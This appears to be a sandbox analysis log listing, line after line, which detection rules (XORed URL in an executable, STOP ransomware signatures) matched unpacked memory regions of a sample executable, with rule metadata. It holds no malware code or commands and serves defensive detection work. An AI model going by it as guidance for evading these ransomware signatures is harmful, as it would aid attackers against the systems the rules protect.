Source: 16.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.bE5aaTiJM0.exe.42415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 14.2.bE5aaTiJM0.exe.42415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.bE5aaTiJM0.exe.42415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.bE5aaTiJM0.exe.43515a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 8.2.bE5aaTiJM0.exe.43515a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.bE5aaTiJM0.exe.43515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.bE5aaTiJM0.exe.42915a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 7.2.bE5aaTiJM0.exe.42915a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.bE5aaTiJM0.exe.42915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.bE5aaTiJM0.exe.43515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 8.2.bE5aaTiJM0.exe.43515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.bE5aaTiJM0.exe.43515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
